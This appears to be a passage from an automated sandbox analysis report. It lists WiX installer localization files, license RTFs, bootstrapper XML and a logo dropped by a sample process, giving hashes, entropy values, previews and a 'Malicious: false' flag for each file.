File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	3212
Entropy (8bit):	5.268378763359481
Encrypted:	false
SSDEEP:	48:c5DiTlOPesar4hDo7zGriQjDCN3mDNN0NrsNGl3vxkIP2hUdKLK0KbK4n6W0sfNM:uDiTlusPGriQw8n2rOij4JsU
MD5:	15172EAF5C2C2E2B008DE04A250A62A1
SHA1:	ED60F870C473EE87DF39D1584880D964796E6888
SHA-256:	440B309FCDF61FFC03B269FE3815C60CB52C6AE3FC6ACAD14EAC04D057B6D6EA
SHA-512:	48AA89CF4A0B64FF4DCB82E372A01DFF423C12111D35A4D27B6D8DD793FFDE130E0037AB5E4477818A0939F61F7DB25295E4271B8B03F209D8F498169B1F9BAE
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. .. Copyright (c) Microsoft Corporation. All rights reserved...-->..<WixLocalization Culture="en-us" xmlns="http://schemas.microsoft.com/wix/2006/localization">.. <Control Control="EulaAcceptCheckbox" X="11" Y="-41" Width="-11" Height="29"/>.... <String Id="Caption">Instalator [WixBundleName]</String>.. <String Id="Title">[WixBundleName]</String>.. <String Id="ConfirmCancelMessage">Czy na pewno chcesz anulowa.?</String>.. <String Id="HelpHeader">Instalator . Pomoc</String>.. <String Id="HelpText">/install \| /repair \| /uninstall \| /layout [katalog] - Instaluje, naprawia, odinstalowuje.. lub tworzy pe.n. lokaln. kopi. pakietu w katalogu. Domy.lnie jest u.ywany prze..cznik install...../passive \| /quiet - Wy.wietla ograniczony interfejs u.ytkownika bez monit.w albo nie wy.wietla ani interfejsu u.ytkownika,.. ani monit.w. Domy.lnie jest wy.wietlany interfejs u.ytkownika oraz wszystkie monity...../norestart - Pom

C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1046\license.rtf

Download File

Process:	C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	138913
Entropy (8bit):	5.044368938767221
Encrypted:	false
SSDEEP:	1536:xrp4Wo4RhHpPGqhGfJQ+vNYyVS3Qq7roh9xP:BTtbQ/
MD5:	43629C964FE1B8E5D9FF71F49C296832
SHA1:	19B4730B85D288F9F2EBEBBC365E1B5470FFD1A8
SHA-256:	402B8B57A0DD29AD8B0742807C62D8ADCB1265C753B8BCC26727CB06A7390620
SHA-512:	557A4D89BD39AFF449B02F908F8BBEAD18644CC53E4B2F66FD587D07574D94BBAE27783458F92B4AC7BD2BE687542A726546258DD608454464AAAF4D437F68A3
Malicious:	false
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff43\deff0\stshfdbch11\stshfloch0\stshfhich0\stshfbi0\deflang1033\deflangfe1033\themelang1033\themelangfe2052\themelangcs1025{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Times New Roman{\\falt Times};}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New{\\falt Arial};}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol{\\falt Bookshelf Symbol 3};}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings{\\falt Symbol};}{\f11\fbidi \fmodern\fcharset128\fprq1{\\panose 02020609040205080304}MS Mincho{\\falt ?l?r ??\'81\'66c};}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 00000000000000000000}SimSun{\\falt ??\'a1\'a7??};}{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math{\\falt Calisto MT};}..{\f42\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0603020202020204}Trebuchet MS{\\falt Arial};}{\f43\fbidi \fswiss\fchars

C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1046\thm.wxl

Download File

Process:	C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	3095
Entropy (8bit):	5.150868216959352
Encrypted:	false
SSDEEP:	48:c5DiTlO5es/4ThDzmU6lDj4N3mBl0N+NWNP4hHCc9skPDXeKKeK9KfKt4eJ2RQdg:uDiTlJhJGl2UsZMLe6
MD5:	BE27B98E086D2B8068B16DBF43E18D50
SHA1:	6FAF34A36C8D9DE55650D0466563852552927603
SHA-256:	F52B54A0E0D0E8F12CBA9823D88E9FD6822B669074DD1DC69DAD6553F7CB8913
SHA-512:	3B7C773EF72D40A8B123FDB8FC11C4F354A3B152CF6D247F02E494B0770C28483392C76F3C222E3719CF500FE98F535014192ACDDD2ED9EF971718EA3EC0A73E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. .. Copyright (c) Microsoft Corporation. All rights reserved...-->..<WixLocalization Culture="en-us" xmlns="http://schemas.microsoft.com/wix/2006/localization">.. <Control Control="EulaAcceptCheckbox" X="11" Y="-41" Width="-11" Height="29"/>.... <String Id="Caption">[WixBundleName] Instala..o</String>.. <String Id="Title">[WixBundleName]</String>.. <String Id="ConfirmCancelMessage">Tem certeza de que deseja cancelar?</String>.. <String Id="HelpHeader">Ajuda da Instala..o</String>.. <String Id="HelpText">/install \| /repair \| /uninstall \| /layout [diret.rio - instala, repara, desinstala ou.. cria uma c.pia local completa do pacote no diret.rio. Install . o padr.o..../passive \| /quiet - exibe a IU m.nima sem nenhum prompt ou n.o exibe nenhuma IU e.. nenhum prompt. Por padr.o, a IU e todos os prompts s.o exibidos...../norestart - suprime qualquer tentativa de reiniciar. Por padr.o, a IU perguntar. antes de reiniciar

C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1049\license.rtf

Download File

Process:	C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	177672
Entropy (8bit):	4.912081002639965
Encrypted:	false
SSDEEP:	1536:xT7acUURt3LVGW4FvUN6bAgKIJfgspZzrJh9pXG:pJ5OC
MD5:	02BB82A1B7FD10F4BC25F30DC7C51560
SHA1:	CD33810CA5AA36320E255B56C1E9AF64465F0319
SHA-256:	D050DCE48FB874C777E08A90F85E00A174752E2D060B9E0E3EBC800BBFB59708
SHA-512:	556A6710AF23008D96F9FDF40168F17536656EC27E6704FE51161272EE76AE3D7682A758D443D9C7120BB823809BD3DCFB13B2448A5095F918414913B6D8927A
Malicious:	false
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff43\deff0\stshfdbch11\stshfloch0\stshfhich0\stshfbi0\deflang1033\deflangfe1033\themelang1033\themelangfe2052\themelangcs1025{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Times New Roman{\\falt Times};}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New{\\falt Arial};}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol{\\falt Bookshelf Symbol 3};}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings{\\falt Symbol};}{\f11\fbidi \fmodern\fcharset128\fprq1{\\panose 02020609040205080304}MS Mincho{\\falt ?l?r ??\'81\'66c};}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 00000000000000000000}SimSun{\\falt ??\'a1\'a7??};}{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math{\\falt Calisto MT};}..{\f42\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0603020202020204}Trebuchet MS{\\falt Arial};}{\f43\fbidi \fswiss\fchars

C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1049\thm.wxl

Download File

Process:	C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	4150
Entropy (8bit):	5.444436038992627
Encrypted:	false
SSDEEP:	48:c5DiTlDhQt9esbrohDTWJt49kAr7DHN3m5GNDCNvNLIkflhrWncPingGdZwK1Kqp:uDiTlDYVgmt4xJ88k193ipzjvL
MD5:	17C652452E5EE930A7F1E5E312C17324
SHA1:	59F3308B87143D8EA0EA319A1F1A1F5DA5759DD3
SHA-256:	7333BC8E52548821D82B53DBD7D7C4AA1703C85155480CB83CEFD78380C95661
SHA-512:	53FD207B96D6BCF0A442E2D90B92E26CBB3ECC6ED71B753A416730E8067E831E9EB32981A9E9368C4CCA16AFBCB2051483FDCFC474EA8F0D652FCA934634FBE8
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. .. Copyright (c) Microsoft Corporation. All rights reserved...-->..<WixLocalization Culture="en-us" xmlns="http://schemas.microsoft.com/wix/2006/localization">.. <Control Control="EulaAcceptCheckbox" X="11" Y="-41" Width="-11" Height="29"/>.. <Control Control="InstallButton" X="275" Y="237" Width="110" Height="23"/>.... <String Id="Caption">......... ......... [WixBundleName]</String>.. <String Id="Title">[WixBundleName]</String>.. <String Id="ConfirmCancelMessage">........?</String>.. <String Id="HelpHeader">....... .. .........</String>.. <String Id="HelpText">/install \| /repair \| /uninstall \| /layout [.......] - ........., .............., ........ ..... ........ ...... ......... ..... ...... . ......... .. ......... - ............../passive \| /quiet - ........... ....

C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1055\license.rtf

Download File

Process:	C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	150879
Entropy (8bit):	5.039534637098723
Encrypted:	false
SSDEEP:	1536:x38Iq8sRFj95OGDTXP4cAJ8Dp29+Ezrth9p:JKL9tpPkr
MD5:	ADDDCD1020CE3F7F43795FB544409D3A
SHA1:	331185CE67E7A3782D97DBD0C269F54C4F32C863
SHA-256:	1C46C012A24BE7A41ACF3FB86211C32E54AB7CF2E4A935764FED251DD5C22E1F
SHA-512:	0D4D660170C1BA0127425858F48C163DFF12E46C838B317268BFDEAA32CD8BB4F98A7F0896C62B86EF8EF309F51D0060D458D175D8BC25DABBE7203E01A85E85
Malicious:	false
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff43\deff0\stshfdbch11\stshfloch0\stshfhich0\stshfbi0\deflang1033\deflangfe1033\themelang1033\themelangfe2052\themelangcs1025{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Times New Roman{\\falt Times};}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New{\\falt Arial};}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol{\\falt Bookshelf Symbol 3};}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings{\\falt Symbol};}{\f11\fbidi \fmodern\fcharset128\fprq1{\\panose 02020609040205080304}MS Mincho{\\falt ?l?r ??\'81\'66c};}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 00000000000000000000}SimSun{\\falt ??\'a1\'a7??};}{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math{\\falt Calisto MT};}..{\f42\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0603020202020204}Trebuchet MS{\\falt Arial};}{\f43\fbidi \fswiss\fchars

C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\1055\thm.wxl

Download File

Process:	C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	3221
Entropy (8bit):	5.280530692056262
Encrypted:	false
SSDEEP:	48:c5DiTlOaesHEqhDTHV4zVy6oBzdp0DYK2GP2ZmN3majyNXNoNKQXVvChcPc+WKb0:uDiTl3PHcIflKNTPgdi12xgg
MD5:	DEFBEA001DC4EB66553630AC7CE47CCA
SHA1:	90CED64EC7C861F03484B5D5616FDBCDA8F64788
SHA-256:	E5ABE3CB3BF84207DAC4E6F5BBA1E693341D01AEA076DD2D91EAA21C6A6CB925
SHA-512:	B3B7A22D0CDADA21A977F1DCEAF2D73212A4CDDBD298532B1AC97575F36113D45E8D71C60A6D8F8CC2E9DBF18EE1000167CFBF0B2E7ED6F05462D77E0BCA0E90
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. .. Copyright (c) Microsoft Corporation. All rights reserved...-->..<WixLocalization Culture="en-us" xmlns="http://schemas.microsoft.com/wix/2006/localization">.. <Control Control="EulaAcceptCheckbox" X="11" Y="-41" Width="-11" Height="29"/>.... <String Id="Caption">[WixBundleName] Kurulumu</String>.. <String Id="Title">[WixBundleName]</String>.. <String Id="ConfirmCancelMessage">.ptal etmek istedi.inizden emin misiniz?</String>.. <String Id="HelpHeader">Kurulum Yard.m.</String>.. <String Id="HelpText">/install \| /repair \| /uninstall \| /layout [dizin] - y.kler, onar.r, kald.r.r ya da.. dizindeki paketin tam bir yerel kopyas.n. olu.turur. Varsay.lan install de.eridir...../passive \| /quiet - en az d.zeyde istemsiz UI g.sterir ya da hi. UI g.stermez ve.. istem yoktur. Varsay.lan olarak UI ve t.m istemler g.r.nt.lenir...../norestart - yeniden ba.lama denemelerini engeller. Varsay.lan olarak UI yeniden ba.l

C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\2052\license.rtf

Download File

Process:	C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	159106
Entropy (8bit):	5.016805901889515
Encrypted:	false
SSDEEP:	1536:B/L6iScgGuRqxoewkdKXN8lqdOVNMrZ3z/SNkrvokO7TavRoN9V:Z1oew6vqawVzaNkrvpOOoNj
MD5:	6011A93D1278215EBCD51161CEFE81E1
SHA1:	8407D923C71251BCF40BE6EA2BB62DC282782A17
SHA-256:	825C3D9F26969629B1BD287574ADF4B8E1A581F9E83B0B35C4B3BF5BC6998C71
SHA-512:	68B15E15199298AFC7AAE47199A13379E9A0947AE0682F84BD9713BCF1635CB11AFF7734C1F9A45CF87E36C75AE7B98032E7181F7CBE24B03C0E173FC68562E9
Malicious:	false
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff43\deff0\stshfdbch13\stshfloch0\stshfhich0\stshfbi0\deflang1033\deflangfe1033\themelang1033\themelangfe2052\themelangcs1025{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Times New Roman{\\falt Times};}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New{\\falt Arial};}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol{\\falt Bookshelf Symbol 3};}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings{\\falt Symbol};}{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 00000000000000000000}SimSun{\\falt ???\'a1\'ec??};}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math{\\falt Calisto MT};}{\f42\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0603020202020204}Trebuchet MS{\\falt Arial};}..{\f43\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma{\\falt ?l?r ???};}{\f45\fbidi \fnil\fcharset134\fprq2{\*\

C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\2052\thm.wxl

Download File

Process:	C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	2978
Entropy (8bit):	6.135205733555905
Encrypted:	false
SSDEEP:	48:c5DiTlOtKesi+hDtkQf7lz+W0gopN3m5+3cNONeN1ra8vWqPtlTKxKUTKlKXRoR+:uDiTlV5kQR9GLeE0ZxV6gIV
MD5:	3D1E15DEEACE801322E222969A574F17
SHA1:	58074C83775E1A884FED6679ACF9AC78ABB8A169
SHA-256:	2AC8B7C19A5189662DE36A0581C90DBAD96DF259EC00A28F609B644C3F39F9CA
SHA-512:	10797919845C57C5831234E866D730EBD13255E5BF8BA8087D53F1D0FC5D72DC6D5F6945DBEBEE69ACC6A2E20378750C4B78083AE0390632743C184532358E10
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. .. Copyright (c) Microsoft Corporation. All rights reserved...-->..<WixLocalization Culture="en-us" xmlns="http://schemas.microsoft.com/wix/2006/localization">.. <Control Control="EulaAcceptCheckbox" X="11" Y="-41" Width="-11" Height="29"/>.... <String Id="Caption">[WixBundleName] ....</String>.. <String Id="Title">[WixBundleName]</String>.. <String Id="ConfirmCancelMessage">.......?</String>.. <String Id="HelpHeader">......</String>.. <String Id="HelpText">/install \| /repair \| /uninstall \| /layout [..] - .......... ..................Install ........../passive \| /quiet - ..... UI ......... UI ... ........ UI ........../norestart - ..................... UI.../log log.txt - ............. %TEMP% ...

C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\3082\license.rtf

Download File

Process:	C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	138675
Entropy (8bit):	5.050625173520788
Encrypted:	false
SSDEEP:	1536:xZaJh2CRnUIsoewkrij8GdsG0cnucUGfr1h9B:/isoewIMucUeb
MD5:	CCAFB1E1899D9978AA5CA91DFFBE38BC
SHA1:	D3F8D0E104EE05D75657D0E0EA57AE00E80415AA
SHA-256:	445C75CE126F942A1D4B84CE1752F796394EAED74EBEB8862564A1E06E61DB7C
SHA-512:	5639A9A00A9D6BB98D3C05CCB16EB2428C869C3003F733F00908B138D614D7407BD6C15359F7DAF6F719A534F51B5C638FDCF744913641B4367090A1AB0B252F
Malicious:	false
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff43\deff0\stshfdbch11\stshfloch0\stshfhich0\stshfbi0\deflang1033\deflangfe1033\themelang1033\themelangfe2052\themelangcs1025{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Times New Roman{\\falt Times};}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New{\\falt Arial};}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol{\\falt Bookshelf Symbol 3};}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings{\\falt Symbol};}{\f11\fbidi \fmodern\fcharset128\fprq1{\\panose 02020609040205080304}MS Mincho{\\falt ?l?r ??\'81\'66c};}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 00000000000000000000}SimSun{\\falt ??\'a1\'a7??};}{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math{\\falt Calisto MT};}..{\f42\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0603020202020204}Trebuchet MS{\\falt Arial};}{\f43\fbidi \fswiss\fchars

C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\3082\thm.wxl

Download File

Process:	C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	3265
Entropy (8bit):	5.0491645049584655
Encrypted:	false
SSDEEP:	48:c5DiTlO/esS6VGhDv4tiUiyRUqzC4U+aD6N3m7xNh1NWNGbPz+9o3PWeKK9K9KfT:uDiTlxouUTiySqyIwz9sgxqvjIk8
MD5:	47F9F8D342C9C22D0C9636BC7362FA8F
SHA1:	3922D1589E284CE76AB39800E2B064F71123C1C5
SHA-256:	9CBB2B312C100B309A1B1495E84E2228B937612885F7A642FBBD67969B632C3A
SHA-512:	E458DF875E9B0622AEBE3C1449868AA6A2826A1F851DB71165A872B2897CF870CCF85046944FF51FFC13BB15E54E9D9424EC36CAF5A2F38CE8B7D6DC0E9B2363
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. .. Copyright (c) Microsoft Corporation. All rights reserved...-->..<WixLocalization Culture="en-us" xmlns="http://schemas.microsoft.com/wix/2006/localization">.. <Control Control="EulaAcceptCheckbox" X="11" Y="-41" Width="-11" Height="29"/>.... <String Id="Caption">Instalaci.n de [WixBundleName]</String>.. <String Id="Title">[WixBundleName]</String>.. <String Id="ConfirmCancelMessage">.Est. seguro de que desea cancelar la operaci.n?</String>.. <String Id="HelpHeader">Ayuda de configuraci.n</String>.. <String Id="HelpText">/install \| /repair \| /uninstall \| /layout [directory] - instala, repara, desinstala o.. crea una copia local completa del paquete en el directorio. La opci.n predeterminada es la instalaci.n...../passive \| /quiet - muestra una IU m.nima sin solicitudes o no muestra ninguna IU ni.. solicitud. De forma predeterminada, se muestran la IU y todas las solicitudes...../norestart - elimina cualquier intento

C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\BootstrapperApplicationData.xml

Download File

Process:	C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (562), with CRLF line terminators
Category:	dropped
Size (bytes):	12366
Entropy (8bit):	3.723649926726667
Encrypted:	false
SSDEEP:	192:X001Ks1tDn6z6Q60686760660r6p6vpsxLUV/qzLG0LrBx7z8NkzzkvQroBL5LY8:XPIseWq/2JOVEpcE+
MD5:	FD91EFD2D1CD5CA91B4CF3CD1DAA6DF4
SHA1:	802B2536838EAEB275CD11BD9D13304D49057DBE
SHA-256:	3B21CFF05E9A87C320E13C519C30BC3EE435A66E36D5B3B504616AC6536B03DB
SHA-512:	CA674F140CDA719F9F5E98863146CFFE30879951F738B676A2B6E70CAF266168DA63894BE905D380F0A07023096FF23DBEC7502EAFF52D3A54F9E5B07FCAE2DC
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.B.o.o.t.s.t.r.a.p.p.e.r.A.p.p.l.i.c.a.t.i.o.n.D.a.t.a. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.x./.2.0.1.0./.B.o.o.t.s.t.r.a.p.p.e.r.A.p.p.l.i.c.a.t.i.o.n.D.a.t.a.".>..... . .<.U.x.B.l.o.c.k.e.r. .S.h.o.r.t.N.a.m.e.=.".M.i.n.i.m.u.m.O.S.L.e.v.e.l.". .T.y.p.e.=.".S.t.o.p.". .C.o.n.d.i.t.i.o.n.=.".N.O.T.(.(.V.e.r.s.i.o.n.N.T. .&.g.t.;. .v.6...1.). .O.R. .(.V.e.r.s.i.o.n.N.T. .=. .v.6...1. .A.N.D. .S.e.r.v.i.c.e.P.a.c.k.L.e.v.e.l. .&.g.t.;.=. .1.).).". .D.i.s.p.l.a.y.T.e.x.t.=.".#.l.o.c...M.i.n.i.m.u.m.O.S.L.e.v.e.l.". ./.>..... . .<.W.i.x.B.a.l.C.o.n.d.i.t.i.o.n. .C.o.n.d.i.t.i.o.n.=.".V.e.r.s.i.o.n.N.T.6.4. .&.g.t.;.=. .v.6...0. .O.R. .(.V.e.r.s.i.o.n.N.T.6.4. .=. .v.5...2. .A.N.D. .S.e.r.v.i.c.e.P.a.c.k.L.e.v.e.l. .&.g.t.;.=. .1.).". .M.e.s.s.a.g.e.=.".[.W.i.x.B.u.n.d.l.e.N.a.m.e.]. .c.a.n. .o.n.l.y. .b.e. .i.n.s.t.a.l.l.e.d. .o.n. .W.i.n.d.o.w.s. .X.P. .S.P.1. .(.

C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\license.rtf

Download File

Process:	C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	142004
Entropy (8bit):	5.042612450073146
Encrypted:	false
SSDEEP:	1536:2qLS0+8sRBvILvx4XiV6lAqLv4Bu02Zqh9L:FoOuXiJ5N
MD5:	092265AFE935B7D94FE789DC3D6B909A
SHA1:	84FBFBC671B25E1FC96E3657D0AACDDDC911BB09
SHA-256:	EBD4C9D474FF626294466196E754BDD2190D7528C74EF02080EDDBEEC5BF4744
SHA-512:	D86A09B44424D83FB6CBB9FD8E61D776C4115EC9D6363E68B1339F6377E1ADEFDA46E4115D97663775B2ECD377AFB4E5C4D10B3C651D9771B347C1828F9050B1
Malicious:	false
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff43\deff0\stshfdbch11\stshfloch0\stshfhich0\stshfbi0\deflang1033\deflangfe1033\themelang1033\themelangfe2052\themelangcs1025{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Times New Roman{\\falt Times};}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New{\\falt Arial};}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol{\\falt Bookshelf Symbol 3};}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings{\\falt Symbol};}{\f11\fbidi \fmodern\fcharset128\fprq1{\\panose 02020609040205080304}MS Mincho{\\falt ?l?r ??\'81\'66c};}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 00000000000000000000}SimSun{\\falt ???????????????????????????????};}{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math{\\falt Calisto MT};}..{\f42\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0603020202020204}Trebuchet MS{\\falt Arial};}{\f43\f

C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\logo.png

Download File

Process:	C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe
File Type:	PNG image data, 64 x 64, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1861
Entropy (8bit):	6.868587546770907
Encrypted:	false
SSDEEP:	24:q36cnTKM/3kTIQiBmYKHeQWalGt1Sj9kYIt1uZ+bYOQe0IChR95aW:qqiTKMPuUBm7eQJGtYJM1uZCVszaW
MD5:	D6BD210F227442B3362493D046CEA233
SHA1:	FF286AC8370FC655AEA0EF35E9CF0BFCB6D698DE
SHA-256:	335A256D4779EC5DCF283D007FB56FD8211BBCAF47DCD70FE60DED6A112744EF
SHA-512:	464AAAB9E08DE610AD34B97D4076E92DC04C2CDC6669F60BFC50F0F9CE5D71C31B8943BD84CEE1A04FB9AB5BBED3442BD41D9CB21A0DD170EA97C463E1CE2B5B
Malicious:	false
Preview:	.PNG........IHDR...@...@.............sRGB.........gAMA......a.....PLTE].q^.r_.r_.s`.s`.s`.ta.ta.ub.ub.vc.vd.vd.vd.we.we.xe.xg.yg yg zh zh"zi"{j#\|i${j$\|n~n.n,.o,.p..q0.r2.s3.t5.x;.x<.y>.z?.\|B.~C.}E..F..F..H..I..J..L..O..P..W..Y..^..a..c..g..i..q..r..}.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................S......pHYs..%...%....^.....tEXtSoftware.Paint.NET v3.5.100.r.....IDATXG..iW.@...EJ.$M...`AEpG..7TpWT@\.."....(..(.._;...di:9.c>q..g....T...._...-....F..+..w.

C:\Users\user\AppData\Local\Temp\{80586c77-db42-44bb-bfc8-7aebbb220c00}\.ba1\thm.wxl

Download File

Process:	C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2952
Entropy (8bit):	5.052095286906672
Encrypted:	false
SSDEEP:	48:c5DiTl/+desK19hDUNKwsqq8+JIDxN3mt7NlN1NVvAdMcgLPDHVXK8KTKjKnSnYF:uDiTl/BbTxmup/vrxATd
MD5:	FBFCBC4DACC566A3C426F43CE10907B6
SHA1:	63C45F9A771161740E100FAF710F30EED017D723
SHA-256:	70400F181D00E1769774FF36BCD8B1AB5FBC431418067D31B876D18CC04EF4CE
SHA-512:	063FB6685EE8D2FA57863A74D66A83C819FE848BA3072B6E7D1B4FE397A9B24A1037183BB2FDA776033C0936BE83888A6456AAE947E240521E2AB75D984EE35E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. .. Copyright (c) Microsoft Corporation. All rights reserved...-->..<WixLocalization Culture="en-us" xmlns="http://schemas.microsoft.com/wix/2006/localization">.. <Control Control="EulaAcceptCheckbox" X="11" Y="-41" Width="-11" Height="29" />.... <String Id="Caption">[WixBundleName] Setup</String>.. <String Id="Title">[WixBundleName]</String>.. <String Id="ConfirmCancelMessage">Are you sure you want to cancel?</String>.. <String Id="HelpHeader">Setup Help</String>.. <String Id="HelpText">/install \| /repair \| /uninstall \| /layout [directory] - installs, repairs, uninstalls or.. creates a complete local copy of the bundle in directory. Install is the default...../passive \| /quiet - displays minimal UI with no prompts or displays no UI and.. no prompts. By default UI and all prompts are displayed...../norestart - suppress any attempts to restart. By default UI will prompt before restart.../log log.txt - logs to a specific file. B

